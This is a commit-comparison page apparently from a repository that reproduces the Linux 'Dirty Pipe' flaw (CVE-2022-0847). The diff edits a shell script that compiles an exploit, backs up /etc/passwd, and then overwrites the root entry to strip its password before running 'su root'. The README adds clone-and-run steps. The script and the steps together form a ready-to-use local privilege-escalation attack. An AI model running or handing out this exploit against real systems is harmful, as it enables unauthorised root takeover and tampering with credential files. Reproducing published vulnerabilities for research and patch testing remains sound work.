Compare commits
10 Commits
1626e5f7ea
...
ef8c8035ff
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ef8c8035ff | ||
|
|
11c5b5379b | ||
|
|
f49084994c | ||
|
|
0210e5c95f | ||
|
|
ab16f2db1d | ||
|
|
29fbcf70c7 | ||
|
|
ab55a9263d | ||
|
|
1b2d5d55da | ||
|
|
55ab59a6e4 | ||
|
|
09c86e6502 |
@@ -158,14 +158,22 @@ int main(int argc, char **argv)
|
||||
}
|
||||
EOF
|
||||
|
||||
gcc exp.c -o exp
|
||||
gcc exp.c -o exp -std=c99
|
||||
|
||||
# 备份密码文件
|
||||
rm -f /tmp/passwd
|
||||
cp /etc/passwd /tmp/passwd
|
||||
passwd_tmp=$(cat /etc/passwd|head)
|
||||
./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"
|
||||
if [ -f "/tmp/passwd" ];then
|
||||
echo "/etc/passwd已备份到/tmp/passwd"
|
||||
passwd_tmp=$(cat /etc/passwd|head)
|
||||
./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"
|
||||
|
||||
echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"
|
||||
echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"
|
||||
|
||||
# 现在可以无需密码切换到root账号
|
||||
su root
|
||||
else
|
||||
echo "/etc/passwd未备份到/tmp/passwd"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# 现在可以无需密码切换到root账号
|
||||
su root
|
||||
|
||||
14
README.md
14
README.md
@@ -1,5 +1,12 @@
|
||||
# CVE-2022-0847
|
||||
CVE-2022-0847简单复现
|
||||
CVE-2022-0847简单复现
|
||||
|
||||
披露老哥原文地址:`https://dirtypipe.cm4all.com/`
|
||||
|
||||
## 复现环境
|
||||
```bash
|
||||
Linux kali 5.10.0-kali7-amd64 #1 SMP Debian 5.10.28-1kali1 (2021-04-12) x86_64 GNU/Linux
|
||||
```
|
||||
|
||||
## 依赖
|
||||
|
||||
@@ -8,6 +15,11 @@ gcc
|
||||
```
|
||||
## 使用步骤
|
||||
```bash
|
||||
git clone https://github.com/imfiver/CVE-2022-0847.git
|
||||
cd CVE-2022-0847
|
||||
chmod +x Dirty-Pipe.sh
|
||||
bash Dirty-Pipe.sh
|
||||
```
|
||||
|
||||
<img src="https://user-images.githubusercontent.com/21257485/157100477-ec68c9a8-44c1-4dd4-ac4d-f70a08597359.png" style="zoom:30%" />
|
||||
|
||||
|
||||
Reference in New Issue
Block a user